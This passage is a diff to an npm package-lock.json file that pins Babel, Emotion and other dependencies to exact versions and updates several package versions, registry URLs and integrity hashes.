- "fast-deep-equal": "^2.0.1",
- "fast-json-stable-stringify": "^2.0.0",
- "json-schema-traverse": "^0.4.1",
- "uri-js": "^4.2.1"
+ "fast-deep-equal": "2.0.1",
+ "fast-json-stable-stringify": "2.0.0",
+ "json-schema-traverse": "0.4.1",
+ "uri-js": "4.2.2"
},
"dependencies": {
"fast-deep-equal": {
@@ -631,9 +668,9 @@
"integrity": "sha1-DNkKVhCT810KmSVsIrcGlDP60Rc=",
"dev": true,
"requires": {
- "kind-of": "^3.0.2",
- "longest": "^1.0.1",
- "repeat-string": "^1.5.2"
+ "kind-of": "3.2.2",
+ "longest": "1.0.1",
+ "repeat-string": "1.6.1"
}
},
"amdefine": {
@@ -642,15 +679,15 @@
"integrity": "sha1-SlKCrBZHKek2Gbz9OtFR+BfOkfU="
},
"ansi-colors": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-3.1.0.tgz",
- "integrity": "sha512-hTv1qPdi+sVEk3jYsdjox5nQI0C9HTbjKShbCdYLKb1LOfNbb7wsF4d7OEKIZoxIHx02tSp3m94jcPW2EfMjmA==",
+ "version": "3.2.4",
+ "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-3.2.4.tgz",
+ "integrity": "sha512-hHUXGagefjN2iRrID63xckIvotOXOojhQKWIPUZ4mNUZ9nLZW+7FMNoE1lOkEhNWYsx/7ysGIuJYCiMAA9FnrA==",
"dev": true
},
"ansi-escapes": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-3.1.0.tgz",
- "integrity": "sha512-UgAb8H9D41AQnu/PbWlCofQVcnV4Gs2bBJi9eZPxfU/hgglFh3SMDMENRIqdr7H6XFnXdoknctFByVsCOotTVw==",
+ "version": "3.2.0",
+ "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-3.2.0.tgz",
+ "integrity": "sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ==",
"dev": true
},
"ansi-html": {
@@ -676,8 +713,8 @@
"dev": true,
"optional": true,
"requires": {
- "micromatch": "^2.1.5",
- "normalize-path": "^2.0.0"
+ "micromatch": "2.3.11",
+ "normalize-path": "2.1.1"
}
},
"aproba": {
@@ -690,8 +727,8 @@
"resolved": "https://registry.npmjs.org/are-we-there-yet/-/are-we-there-yet-1.1.5.tgz",
"integrity": "sha512-5hYdAkZlcG8tOLujVDTgCT+uPX0VnpAH28gWsLfzpXYm7wP6mp5Q/gYyR7YQ0cKVJcXJnl3j2kpBan13PtQf6w==",
"requires": {
- "delegates": "^1.0.0",
- "readable-stream": "^2.0.6"
+ "delegates": "1.0.0",
+ "readable-stream": "2.3.6"
},
"dependencies": {
"isarray": {
@@ -709,13 +746,13 @@
"resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
"integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
"requires": {
- "core-util-is": "~1.0.0",
- "inherits": "~2.0.3",
- "isarray": "~1.0.0",
- "process-nextick-args": "~2.0.0",
- "safe-buffer": "~5.1.1",
- "string_decoder": "~1.1.1",
- "util-deprecate": "~1.0.1"
+ "core-util-is": "1.0.2",
+ "inherits": "2.0.3",
+ "isarray": "1.0.0",
+ "process-nextick-args": "2.0.0",
+ "safe-buffer": "5.1.1",
+ "string_decoder": "1.1.1",
+ "util-deprecate": "1.0.2"
}
},
"string_decoder": {
@@ -723,7 +760,7 @@
"resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
"integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
"requires": {
- "safe-buffer": "~5.1.0"
+ "safe-buffer": "5.1.1"
}
}
}
@@ -733,7 +770,7 @@
"resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.9.tgz",
"integrity": "sha1-c9g7wmP4bpf4zE9rrhsOkKfSLIY=",
"requires": {
- "sprintf-js": "~1.0.2"
+ "sprintf-js": "1.0.3"
}
},
"arr-diff": {
@@ -743,7 +780,7 @@
"dev": true,
"optional": true,
"requires": {
- "arr-flatten": "^1.0.1"
+ "arr-flatten": "1.1.0"
}
},
"arr-flatten": {
@@ -764,9 +801,9 @@
"integrity": "sha1-3wEKoSh+Fku9pvlyOwqWoexBh6E="
},
"array-flatten": {
- "version": "2.1.1",
- "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-2.1.1.tgz",
- "integrity": "sha1-Qmu52oQJDBg42BLIFQryCoMx4pY=",
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-2.1.2.tgz",
+ "integrity": "sha512-hNfzcOV8W4NdualtqBFPyVO+54DSJuZGY9qT4pRroB6S9e3iiido2ISIC5h9R2sPJ8H3FHCIiEnsv1lPXO3KtQ==",
"dev": true
},
"array-includes": {
@@ -775,8 +812,8 @@
"integrity": "sha1-GEtI9i2S10UrsxsyMWXH+L0CJm0=",
"dev": true,
"requires": {
- "define-properties": "^1.1.2",
- "es-abstract": "^1.7.0"
+ "define-properties": "1.1.3",
+ "es-abstract": "1.12.0"
}
},
"array-slice": {
@@ -791,7 +828,7 @@
"integrity": "sha1-mjRBDk9OPaI96jdb5b5w8kd47Dk=",
"dev": true,
"requires": {
- "array-uniq": "^1.0.1"
+ "array-uniq": "1.0.3"
}
},
"array-uniq": {
@@ -812,12 +849,6 @@
"integrity": "sha512-wGUIVQXuehL5TCqQun8OW81jGzAWycqzFF8lFp+GOM5BXLYj3bKNsYC4daB7n6XjCqxQA/qgTJ+8ANR3acjrog==",
"dev": true
},
- "arrify": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/arrify/-/arrify-1.0.1.tgz",
- "integrity": "sha1-iYUI2iIm84DfkEcoRWhJwVAaSw0=",
- "dev": true
- },
"asap": {
"version": "2.0.6",
"resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz",
@@ -834,17 +865,18 @@
"integrity": "sha512-p32cOF5q0Zqs9uBiONKYLm6BClCoBCM5O9JfeUSlnQLBTxYdTK+pW+nXflm8UkKd2UYlEbYz5qEi0JuZR9ckSw==",
"dev": true,
"requires": {
- "bn.js": "^4.0.0",
- "inherits": "^2.0.1",
- "minimalistic-assert": "^1.0.0"
+ "bn.js": "4.11.8",
+ "inherits": "2.0.3",
+ "minimalistic-assert": "1.0.1"
}
},
"assert": {
- "version": "1.4.1",
- "resolved": "https://registry.npmjs.org/assert/-/assert-1.4.1.tgz",
- "integrity": "sha1-mZEtWRg2tab1s0XA8H7vwI/GXZE=",
+ "version": "1.5.0",
+ "resolved": "https://registry.npmjs.org/assert/-/assert-1.5.0.tgz",
+ "integrity": "sha512-EDsgawzwoun2CZkCgtxJbv392v4nbk9XDD06zI+kQYoBM/3RBWLlEyJARDOmhAAosBjWACEkKL6S+lIZtcAubA==",
"dev": true,
"requires": {
+ "object-assign": "4.1.1",
"util": "0.10.3"
},
"dependencies": {
@@ -888,6 +920,12 @@
"integrity": "sha1-ECyenpAF0+fjgpvwxPok7oYu6bk=",
"dev": true
},
+ "astral-regex": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-1.0.0.tgz",
+ "integrity": "sha512-+Ryf6g3BKoRc7jfp7ad8tM4TtMiaWvbF/1/sQcZPkkS7ag3D5nMBCe2UfOTONtAkaG0tO0ij3C5Lwmf1EiyjHg==",
+ "dev": true
+ },
"async": {
"version": "1.5.2",
"resolved": "https://registry.npmjs.org/async/-/async-1.5.2.tgz",
@@ -906,9 +944,9 @@
"integrity": "sha1-NhIfhFwFeBct5Bmpfb6x0W7DRUI="
},
"async-limiter": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/async-limiter/-/async-limiter-1.0.0.tgz",
- "integrity": "sha512-jp/uFnooOiO+L211eZOoSyzpOITMXx1rBITauYykG3BRYPu8h0UcxsPNB04RR5vo4Tyz3+ay17tR6JVf9qzYWg==",
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/async-limiter/-/async-limiter-1.0.1.tgz",
+ "integrity": "sha512-csOlWGAcRFJaI6m+F2WKdnMKr4HhdhFVBk0H/QbJFMCr+uO2kwohwXQPxw/9OCxp05r5ghVBFSyioixx3gfkNQ==",
"dev": true
},
"asynckit": {
@@ -917,9 +955,9 @@
"integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k="
},
"atob": {
- "version": "2.1.1",
- "resolved": "https://registry.npmjs.org/atob/-/atob-2.1.1.tgz",
- "integrity": "sha1-ri1acpR38onWDdf5amMUoi3Wwio=",
+ "version": "2.1.2",
+ "resolved": "https://registry.npmjs.org/atob/-/atob-2.1.2.tgz",
+ "integrity": "sha512-Wm6ukoaOGJi/73p/cl2GvLjTI5JM1k/O14isD73YML8StrH/7/lRFgmg8nICZgD3bZZvjwCGxtMOD3wWNAu8cg==",
"dev": true
},
"aws-sign2": {
@@ -939,21 +977,21 @@
"integrity": "sha1-UCq1SHTX24itALiHoGODzgPQAvE=",
"dev": true,
"requires": {
- "babel-core": "^6.26.0",
- "babel-polyfill": "^6.26.0",
- "babel-register": "^6.26.0",
- "babel-runtime": "^6.26.0",
- "chokidar": "^1.6.1",
- "commander": "^2.11.0",
- "convert-source-map": "^1.5.0",
- "fs-readdir-recursive": "^1.0.0",
- "glob": "^7.1.2",
- "lodash": "^4.17.4",
- "output-file-sync": "^1.1.2",
- "path-is-absolute": "^1.0.1",
- "slash": "^1.0.0",
- "source-map": "^0.5.6",
- "v8flags": "^2.1.1"
+ "babel-core": "6.26.3",
+ "babel-polyfill": "6.26.0",
+ "babel-register": "6.26.0",
+ "babel-runtime": "6.26.0",
+ "chokidar": "1.7.0",
+ "commander": "2.15.1",
+ "convert-source-map": "1.5.1",
+ "fs-readdir-recursive": "1.1.0",
+ "glob": "7.1.4",
+ "lodash": "4.17.10",
+ "output-file-sync": "1.1.2",
+ "path-is-absolute": "1.0.1",
+ "slash": "1.0.0",
+ "source-map": "0.5.6",
+ "v8flags": "2.1.1"
},
"dependencies": {
"babel-runtime": {
@@ -962,8 +1000,8 @@
"integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=",
"dev": true,
"requires": {
- "core-js": "^2.4.0",
- "regenerator-runtime": "^0.11.0"
+ "core-js": "2.6.9",
+ "regenerator-runtime": "0.11.1"
}
},
"regenerator-runtime": {
@@ -980,9 +1018,9 @@
"integrity": "sha1-AnYgvuVnqIwyVhV05/0IAdMxGOQ=",
"dev": true,
"requires": {
- "chalk": "^1.1.0",
- "esutils": "^2.0.2",
- "js-tokens": "^3.0.0"
+ "chalk": "1.1.3",
+ "esutils": "2.0.2",
+ "js-tokens": "3.0.2"
}
},
"babel-core": {
@@ -991,25 +1029,25 @@
"integrity": "sha512-6jyFLuDmeidKmUEb3NM+/yawG0M2bDZ9Z1qbZP59cyHLz8kYGKYwpJP0UwUKKUiTRNvxfLesJnTedqczP7cTDA==",
"dev": true,
"requires": {
- "babel-code-frame": "^6.26.0",
- "babel-generator": "^6.26.0",
- "babel-helpers": "^6.24.1",
- "babel-messages": "^6.23.0",
- "babel-register": "^6.26.0",
- "babel-runtime": "^6.26.0",
- "babel-template": "^6.26.0",
- "babel-traverse": "^6.26.0",
- "babel-types": "^6.26.0",
- "babylon": "^6.18.0",
- "convert-source-map": "^1.5.1",
- "debug": "^2.6.9",
- "json5": "^0.5.1",
- "lodash": "^4.17.4",
- "minimatch": "^3.0.4",
- "path-is-absolute": "^1.0.1",
- "private": "^0.1.8",
- "slash": "^1.0.0",
- "source-map": "^0.5.7"
+ "babel-code-frame": "6.26.0",
+ "babel-generator": "6.26.1",
+ "babel-helpers": "6.24.1",
+ "babel-messages": "6.23.0",
+ "babel-register": "6.26.0",
+ "babel-runtime": "6.26.0",
+ "babel-template": "6.26.0",
+ "babel-traverse": "6.26.0",
+ "babel-types": "6.26.0",
+ "babylon": "6.18.0",
+ "convert-source-map": "1.5.1",
+ "debug": "2.6.9",
+ "json5": "0.5.1",
+ "lodash": "4.17.10",
+ "minimatch": "3.0.4",
+ "path-is-absolute": "1.0.1",
+ "private": "0.1.8",
+ "slash": "1.0.0",
+ "source-map": "0.5.7"
},
"dependencies": {
"babel-code-frame": {
@@ -1018,9 +1056,9 @@
"integrity": "sha1-Y/1D99weO7fONZR9uP42mj9Yx0s=",
"dev": true,
"requires": {
- "chalk": "^1.1.3",
- "esutils": "^2.0.2",
- "js-tokens": "^3.0.2"
+ "chalk": "1.1.3",
+ "esutils": "2.0.2",
+ "js-tokens": "3.0.2"
}
},
"babel-runtime": {
@@ -1029,8 +1067,8 @@
"integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=",
"dev": true,
"requires": {
- "core-js": "^2.4.0",
- "regenerator-runtime": "^0.11.0"
+ "core-js": "2.6.9",
+ "regenerator-runtime": "0.11.1"
}
},
"babel-template": {
@@ -1039,11 +1077,11 @@
"integrity": "sha1-3gPi0WOWsGn0bdn/+FIfsaDjXgI=",
"dev": true,
"requires": {
- "babel-runtime": "^6.26.0",
- "babel-traverse": "^6.26.0",
- "babel-types": "^6.26.0",
- "babylon": "^6.18.0",
- "lodash": "^4.17.4"
+ "babel-runtime": "6.26.0",
+ "babel-traverse": "6.26.0",
+ "babel-types": "6.26.0",
+ "babylon": "6.18.0",
+ "lodash": "4.17.10"
}
},
"babel-traverse": {
@@ -1052,15 +1090,15 @@
"integrity": "sha1-RqnL1+3MYsjlwGTi0tjQ9ANXZu4=",
"dev": true,
"requires": {
- "babel-code-frame": "^6.26.0",
- "babel-messages": "^6.23.0",
- "babel-runtime": "^6.26.0",
- "babel-types": "^6.26.0",
- "babylon": "^6.18.0",
- "debug": "^2.6.8",
- "globals": "^9.18.0",
- "invariant": "^2.2.2",
- "lodash": "^4.17.4"
+ "babel-code-frame": "6.26.0",
+ "babel-messages": "6.23.0",
+ "babel-runtime": "6.26.0",
+ "babel-types": "6.26.0",
+ "babylon": "6.18.0",
+ "debug": "2.6.9",
+ "globals": "9.18.0",
+ "invariant": "2.2.2",
+ "lodash": "4.17.10"
}
},
"babel-types": {
@@ -1069,10 +1107,10 @@
"integrity": "sha1-o7Bz+Uq0nrb6Vc1lInozQ4BjJJc=",
"dev": true,
"requires": {
- "babel-runtime": "^6.26.0",
- "esutils": "^2.0.2",
- "lodash": "^4.17.4",
- "to-fast-properties": "^1.0.3"
+ "babel-runtime": "6.26.0",
+ "esutils": "2.0.2",
+ "lodash": "4.17.10",
+ "to-fast-properties": "1.0.3"
}
},
"babylon": {
@@ -1121,7 +1159,7 @@
"@babel/types": "7.0.0-beta.44",
"babylon": "7.0.0-beta.44",
"eslint-scope": "3.7.1",
- "eslint-visitor-keys": "^1.0.0"
+ "eslint-visitor-keys": "1.0.0"
},
"dependencies": {
"babylon": {
@@ -1138,14 +1176,14 @@
"integrity": "sha512-HyfwY6ApZj7BYTcJURpM5tznulaBvyio7/0d4zFOeMPUmfxkCjHocCuoLa2SAGzBI8AREcH3eP3758F672DppA==",
"dev": true,
"requires": {
- "babel-messages": "^6.23.0",
- "babel-runtime": "^6.26.0",
- "babel-types": "^6.26.0",
- "detect-indent": "^4.0.0",
- "jsesc": "^1.3.0",
- "lodash": "^4.17.4",
- "source-map": "^0.5.7",
- "trim-right": "^1.0.1"
+ "babel-messages": "6.23.0",
+ "babel-runtime": "6.26.0",
+ "babel-types": "6.26.0",
+ "detect-indent": "4.0.0",
+ "jsesc": "1.3.0",
+ "lodash": "4.17.10",
+ "source-map": "0.5.7",
+ "trim-right": "1.0.1"
},
"dependencies": {
"babel-runtime": {
@@ -1154,8 +1192,8 @@
"integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=",
"dev": true,
"requires": {
- "core-js": "^2.4.0",
- "regenerator-runtime": "^0.11.0"
+ "core-js": "2.6.9",
+ "regenerator-runtime": "0.11.1"
}
},
"babel-types": {
@@ -1164,10 +1202,10 @@
"integrity": "sha1-o7Bz+Uq0nrb6Vc1lInozQ4BjJJc=",
"dev": true,
"requires": {
- "babel-runtime": "^6.26.0",
- "esutils": "^2.0.2",
- "lodash": "^4.17.4",
- "to-fast-properties": "^1.0.3"
+ "babel-runtime": "6.26.0",
+ "esutils": "2.0.2",
+ "lodash": "4.17.10",
+ "to-fast-properties": "1.0.3"
}
},
"regenerator-runtime": {
@@ -1190,9 +1228,9 @@
"integrity": "sha1-FMGeXxQte0fxmlJDHlKxzLxAozA=",
"dev": true,
"requires": {
- "babel-runtime": "^6.22.0",
- "babel-traverse": "^6.24.1",
- "babel-types": "^6.24.1"
+ "babel-runtime": "6.25.0",
+ "babel-traverse": "6.25.0",
+ "babel-types": "6.25.0"
}
},
"babel-helper-builder-binary-assignment-operator-visitor": {
@@ -1201,9 +1239,9 @@
"integrity": "sha1-zORReto1b0IgvK6KAsKzRvmlZmQ=",
"dev": true,
"requires": {
- "babel-helper-explode-assignable-expression": "^6.24.1",
- "babel-runtime": "^6.22.0",
- "babel-types": "^6.24.1"
+ "babel-helper-explode-assignable-expression": "6.24.1",
+ "babel-runtime": "6.25.0",
+ "babel-types": "6.25.0"
}
},
"babel-helper-builder-react-jsx": {
@@ -1212,9 +1250,9 @@
"integrity": "sha1-Of+DE7dci2Xc7/HzHTg+D/KkCKA=",
"dev": true,
"requires": {
- "babel-runtime": "^6.26.0",
- "babel-types": "^6.26.0",
- "esutils": "^2.0.2"
+ "babel-runtime": "6.26.0",
+ "babel-types": "6.26.0",
+ "esutils": "2.0.2"
},
"dependencies": {
"babel-runtime": {
@@ -1223,8 +1261,8 @@
"integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=",
"dev": true,
"requires": {
- "core-js": "^2.4.0",
- "regenerator-runtime": "^0.11.0"
+ "core-js": "2.6.9",
+ "regenerator-runtime": "0.11.1"
}
},
"babel-types": {
@@ -1233,10 +1271,10 @@
"integrity": "sha1-o7Bz+Uq0nrb6Vc1lInozQ4BjJJc=",
"dev": true,
"requires": {
- "babel-runtime": "^6.26.0",
- "esutils": "^2.0.2",
- "lodash": "^4.17.4",
- "to-fast-properties": "^1.0.3"
+ "babel-runtime": "6.26.0",
+ "esutils": "2.0.2",
+ "lodash": "4.17.10",
+ "to-fast-properties": "1.0.3"
}
},
"regenerator-runtime": {
@@ -1253,10 +1291,10 @@
"integrity": "sha1-7Oaqzdx25Bw0YfiL/Fdb0Nqi340=",
"dev": true,
"requires": {
- "babel-helper-hoist-variables": "^6.24.1",
- "babel-runtime": "^6.22.0",
- "babel-traverse": "^6.24.1",
- "babel-types": "^6.24.1"
+ "babel-helper-hoist-variables": "6.24.1",
+ "babel-runtime": "6.25.0",
+ "babel-traverse": "6.25.0",
+ "babel-types": "6.25.0"
}
},
"babel-helper-define-map": {
@@ -1265,10 +1303,10 @@
"integrity": "sha1-epdH8ljYlH0y1RX2qhx70CIEoIA=",
"dev": true,
"requires": {
- "babel-helper-function-name": "^6.24.1",
- "babel-runtime": "^6.22.0",
- "babel-types": "^6.24.1",
- "lodash": "^4.2.0"
+ "babel-helper-function-name": "6.24.1",
+ "babel-runtime": "6.25.0",
+ "babel-types": "6.25.0",
+ "lodash": "4.17.10"
}
},
"babel-helper-explode-assignable-expression": {
@@ -1277,9 +1315,9 @@
"integrity": "sha1-8luCz33BBDPFX3BZLVdGQArCLKo=",
"dev": true,
"requires": {
- "babel-runtime": "^6.22.0",
- "babel-traverse": "^6.24.1",
- "babel-types": "^6.24.1"
+ "babel-runtime": "6.25.0",
+ "babel-traverse": "6.25.0",
+ "babel-types": "6.25.0"
}
},
"babel-helper-explode-class": {
@@ -1288,10 +1326,10 @@
"integrity": "sha1-fcKjkQ3uAHBW4eMdZAztPVTqqes=",
"dev": true,
"requires": {
- "babel-helper-bindify-decorators": "^6.24.1",
- "babel-runtime": "^6.22.0",
- "babel-traverse": "^6.24.1",
- "babel-types": "^6.24.1"
+ "babel-helper-bindify-decorators": "6.24.1",
+ "babel-runtime": "6.25.0",
+ "babel-traverse": "6.25.0",
+ "babel-types": "6.25.0"
}
},
"babel-helper-function-name": {
@@ -1300,11 +1338,11 @@
"integrity": "sha1-00dbjAPtmCQqJbSDUasYOZ01gKk=",
"dev": true,
"requires": {
- "babel-helper-get-function-arity": "^6.24.1",
- "babel-runtime": "^6.22.0",
- "babel-template": "^6.24.1",
- "babel-traverse": "^6.24.1",
- "babel-types": "^6.24.1"
+ "babel-helper-get-function-arity": "6.24.1",
+ "babel-runtime": "6.25.0",
+ "babel-template": "6.25.0",
+ "babel-traverse": "6.25.0",
+ "babel-types": "6.25.0"
}
},
"babel-helper-get-function-arity": {
@@ -1313,8 +1351,8 @@
"integrity": "sha1-j3eCqpNAfEHTqlCQj4mwMbG2hT0=",
"dev": true,
"requires": {
- "babel-runtime": "^6.22.0",
- "babel-types": "^6.24.1"
+ "babel-runtime": "6.25.0",
+ "babel-types": "6.25.0"
}
},
"babel-helper-hoist-variables": {
@@ -1323,8 +1361,8 @@
"integrity": "sha1-HssnaJydJVE+rbyZFKc/VAi+enY=",
"dev": true,
"requires": {
- "babel-runtime": "^6.22.0",
- "babel-types": "^6.24.1"
+ "babel-runtime": "6.25.0",
+ "babel-types": "6.25.0"
}
},
"babel-helper-optimise-call-expression": {
@@ -1333,8 +1371,8 @@
"integrity": "sha1-96E0J7qfc/j0+pk8VKl4gtEkQlc=",
"dev": true,
"requires": {
- "babel-runtime": "^6.22.0",
- "babel-types": "^6.24.1"
+ "babel-runtime": "6.25.0",
+ "babel-types": "6.25.0"
}
},
"babel-helper-regex": {
@@ -1343,9 +1381,9 @@
"integrity": "sha1-024i+rEAjXnYhkjjIRaGgShFbOg=",
"dev": true,
"requires": {
- "babel-runtime": "^6.22.0",
- "babel-types": "^6.24.1",
- "lodash": "^4.2.0"
+ "babel-runtime": "6.25.0",
+ "babel-types": "6.25.0",
+ "lodash": "4.17.10"
}
},
"babel-helper-remap-async-to-generator": {
@@ -1354,11 +1392,11 @@
"integrity": "sha1-XsWBgnrXI/7N04HxySg5BnbkVRs=",
"dev": true,
"requires": {
- "babel-helper-function-name": "^6.24.1",
- "babel-runtime": "^6.22.0",
- "babel-template": "^6.24.1",
- "babel-traverse": "^6.24.1",
- "babel-types": "^6.24.1"
+ "babel-helper-function-name": "6.24.1",
+ "babel-runtime": "6.25.0",
+ "babel-template": "6.25.0",
+ "babel-traverse": "6.25.0",
+ "babel-types": "6.25.0"
}
},
"babel-helper-replace-supers": {
@@ -1367,12 +1405,12 @@
"integrity": "sha1-v22/5Dk40XNpohPKiov3S2qQqxo=",
"dev": true,
"requires": {
- "babel-helper-optimise-call-expression": "^6.24.1",
- "babel-messages": "^6.23.0",
- "babel-runtime": "^6.22.0",
- "babel-template": "^6.24.1",
- "babel-traverse": "^6.24.1",
- "babel-types": "^6.24.1"
+ "babel-helper-optimise-call-expression": "6.24.1",
+ "babel-messages": "6.23.0",
+ "babel-runtime": "6.25.0",
+ "babel-template": "6.25.0",
+ "babel-traverse": "6.25.0",
+ "babel-types": "6.25.0"
}
},
"babel-helpers": {
@@ -1381,8 +1419,8 @@
"integrity": "sha1-NHHenK7DiOXIUOWX5Yom3fN2ArI=",
"dev": true,
"requires": {
- "babel-runtime": "^6.22.0",
- "babel-template": "^6.24.1"
+ "babel-runtime": "6.25.0",
+ "babel-template": "6.25.0"
}
},
"babel-loader": {
@@ -1391,9 +1429,9 @@
"integrity": "sha512-iCHfbieL5d1LfOQeeVJEUyD9rTwBcP/fcEbRCfempxTDuqrKpu0AZjLAQHEQa3Yqyj9ORKe2iHfoj4rHLf7xpw==",
"dev": true,
"requires": {
- "find-cache-dir": "^1.0.0",
- "loader-utils": "^1.0.2",
- "mkdirp": "^0.5.1"
+ "find-cache-dir": "1.0.0",
+ "loader-utils": "1.1.0",
+ "mkdirp": "0.5.1"
},
"dependencies": {
"loader-utils": {
@@ -1402,9 +1440,9 @@
"integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=",
"dev": true,
"requires": {
- "big.js": "^3.1.3",
- "emojis-list": "^2.0.0",
- "json5": "^0.5.0"
+ "big.js": "3.1.3",
+ "emojis-list": "2.1.0",
+ "json5": "0.5.1"
}
}
}
@@ -1415,7 +1453,7 @@
"integrity": "sha1-8830cDhYA1sqKVHG7F7fbGLyYw4=",
"dev": true,
"requires": {
- "babel-runtime": "^6.22.0"
+ "babel-runtime": "6.25.0"
}
},
"babel-plugin-check-es2015-constants": {
@@ -1424,24 +1462,24 @@
"integrity": "sha1-NRV7EBQm/S/9PaP3XH0ekYNbv4o=",
"dev": true,
"requires": {
- "babel-runtime": "^6.22.0"
+ "babel-runtime": "6.25.0"
}
},
"babel-plugin-emotion": {
- "version": "10.0.9",
- "resolved": "https://registry.npmjs.org/babel-plugin-emotion/-/babel-plugin-emotion-10.0.9.tgz",
- "integrity": "sha512-IfWP12e9/wHtWHxVTzD692Nbcmrmcz2tip7acp6YUqtrP7slAyr5B+69hyZ8jd55GsyNSZwryNnmuDEVe0j+7w==",
+ "version": "10.0.19",
+ "resolved": "https://registry.npmjs.org/babel-plugin-emotion/-/babel-plugin-emotion-10.0.19.tgz",
+ "integrity": "sha512-1pJb5uKN/gx6bi3gGr588Krj49sxARI9KmxhtMUa+NRJb6lR3OfC51mh3NlWRsOqdjWlT4cSjnZpnFq5K3T5ZA==",
"requires": {
- "@babel/helper-module-imports": "^7.0.0",
- "@emotion/hash": "0.7.1",
- "@emotion/memoize": "0.7.1",
- "@emotion/serialize": "^0.11.6",
- "babel-plugin-macros": "^2.0.0",
- "babel-plugin-syntax-jsx": "^6.18.0",
- "convert-source-map": "^1.5.0",
- "escape-string-regexp": "^1.0.5",
- "find-root": "^1.1.0",
- "source-map": "^0.5.7"
+ "@babel/helper-module-imports": "7.0.0",
+ "@emotion/hash": "0.7.3",
+ "@emotion/memoize": "0.7.3",
+ "@emotion/serialize": "0.11.11",
+ "babel-plugin-macros": "2.6.1",
+ "babel-plugin-syntax-jsx": "6.18.0",
+ "convert-source-map": "1.5.1",
+ "escape-string-regexp": "1.0.5",
+ "find-root": "1.1.0",
+ "source-map": "0.5.7"
},
"dependencies": {
"source-map": {
@@ -1452,27 +1490,27 @@
}
},
"babel-plugin-macros": {
- "version": "2.5.1",
- "resolved": "https://registry.npmjs.org/babel-plugin-macros/-/babel-plugin-macros-2.5.1.tgz",
- "integrity": "sha512-xN3KhAxPzsJ6OQTktCanNpIFnnMsCV+t8OloKxIL72D6+SUZYFn9qfklPgef5HyyDtzYZqqb+fs1S12+gQY82Q==",
+ "version": "2.6.1",
+ "resolved": "https://registry.npmjs.org/babel-plugin-macros/-/babel-plugin-macros-2.6.1.tgz",
+ "integrity": "sha512-6W2nwiXme6j1n2erPOnmRiWfObUhWH7Qw1LMi9XZy8cj+KtESu3T6asZvtk5bMQQjX8te35o7CFueiSdL/2NmQ==",
"requires": {
- "@babel/runtime": "^7.4.2",
- "cosmiconfig": "^5.2.0",
- "resolve": "^1.10.0"
+ "@babel/runtime": "7.6.0",
+ "cosmiconfig": "5.2.1",
+ "resolve": "1.12.0"
},
"dependencies": {
"@babel/runtime": {
- "version": "7.4.3",
- "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.4.3.tgz",
- "integrity": "sha512-9lsJwJLxDh/T3Q3SZszfWOTkk3pHbkmH+3KY+zwIDmsNlxsumuhS2TH3NIpktU4kNvfzy+k3eLT7aTJSPTo0OA==",
+ "version": "7.6.0",
+ "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.6.0.tgz",
+ "integrity": "sha512-89eSBLJsxNxOERC0Op4vd+0Bqm6wRMqMbFtV3i0/fbaWw/mJ8Q3eBvgX0G4SyrOOLCtbu98HspF8o09MRT+KzQ==",
"requires": {
- "regenerator-runtime": "^0.13.2"
+ "regenerator-runtime": "0.13.3"
}
},
"regenerator-runtime": {
- "version": "0.13.2",
- "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.2.tgz",
- "integrity": "sha512-S/TQAZJO+D3m9xeN1WTI8dLKBBiRgXBlTJvbWjCThHWZj9EvHK70Ff50/tYj2J/fvBY6JtFVwRuazHN2E7M9BA=="
+ "version": "0.13.3",
+ "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.3.tgz",
+ "integrity": "sha512-naKIZz2GQ8JWh///G7L3X6LaQUAMp2lvb1rvwwsURe/VXwD6VMfr+/1NuNw3ag8v2kY1aQ/go5SNn79O9JU7yw=="
}
}
},
@@ -1565,9 +1603,9 @@
"integrity": "sha1-8FiQAUX9PpkHpt3yjaWfIVJYpds=",
"dev": true,
"requires": {
- "babel-helper-remap-async-to-generator": "^6.24.1",
- "babel-plugin-syntax-async-generators": "^6.5.0",
- "babel-runtime": "^6.22.0"
+ "babel-helper-remap-async-to-generator": "6.24.1",
+ "babel-plugin-syntax-async-generators": "6.13.0",
+ "babel-runtime": "6.25.0"
}
},
"babel-plugin-transform-async-to-generator": {
@@ -1576,9 +1614,9 @@
"integrity": "sha1-ZTbjeK/2yx1VF6wOQOs+n8jQh2E=",
"dev": true,
"requires": {
- "babel-helper-remap-async-to-generator": "^6.24.1",
- "babel-plugin-syntax-async-functions": "^6.8.0",
- "babel-runtime": "^6.22.0"
+ "babel-helper-remap-async-to-generator": "6.24.1",
+ "babel-plugin-syntax-async-functions": "6.13.0",
